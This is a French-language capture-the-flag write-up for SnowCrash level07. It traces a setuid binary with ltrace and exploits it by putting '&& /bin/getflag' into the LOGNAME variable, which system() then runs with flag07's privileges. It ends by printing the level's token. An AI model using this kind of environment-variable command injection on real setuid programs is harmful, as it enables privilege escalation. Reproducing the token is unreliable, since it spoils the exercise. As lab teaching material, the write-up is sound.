

Level07

Découverte de la vulnérabilité

```
level07@SnowCrash: ~  
level07@SnowCrash:~$ ls -la  
total 24  
dr-x----- 1 level07 level07 120 Mar 5 2016 .  
d--x--x--x 1 root users 340 Aug 30 2015 ..  
-r-x----- 1 level07 level07 220 Apr 3 2012 .bash_logout  
-r-x----- 1 level07 level07 3518 Aug 30 2015 .bashrc  
-rwsr-sr-x 1 flag07 level07 8805 Mar 5 2016 level07  
-r-x----- 1 level07 level07 675 Apr 3 2012 .profile  
level07@SnowCrash:~$ ./level07  
level07  
level07@SnowCrash:~$ |  
  
level07@SnowCrash: ~  
level07@SnowCrash:~$ ltrace ./level07 /tmp/level07/getflag.txt  
__libc_start_main(0x8048514, 2, 0xbffff7c4, 0x80485b0, 0x8048620 <unfinished ...>  
getegid() = 2007  
geteuid() = 2007  
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0  
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0  
getenv("LOGNAME") = "level07"  
asprintf(0xbffff714, 0x8048688, 0xbffff44, 0xb7e5ee55, 0xb7fed280) = 18  
system("/bin/echo level07 level07  
<unfinished ...>  
--- SIGCHLD (Child exited) ---  
<... system resumed> ) = 0  
+++ exited (status 0) +++  
level07@SnowCrash:~$ |
```

Le binaire récupère la variable d'environnement `LOGNAME` et l'exécute directement avec `system()`.

```
getenv("LOGNAME") = "level07"  
system("/bin/echo level07 ...")
```

La vulnérabilité : Command Injection

La fonction `system()` passe la chaîne au shell, qui interprète les caractères spéciaux comme :

- `&&` : exécuter la commande suivante si la première réussit

- `||` : exécuter la commande suivante si la première échoue
- `;` : exécuter la commande suivante inconditionnellement

On peut injecter une commande en modifiant `LOGNAME` :

```
LOGNAME='level07 && /bin/getflag' ./level07
```

Le binaire crée la commande :

```
/bin/echo level07 && /bin/getflag
```

Le shell l'interprète comme :

1. Exécute `/bin/echo level07`
2. Puis (grâce à `&&`) exécute `/bin/getflag`

Résultat : `getflag` s'exécute avec les droits de `flag07` et affiche le token.

```
level07@SnowCrash:~$ LOGNAME='level07 && /bin/getflag' ./level07
level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
level07@SnowCrash:~$ |
```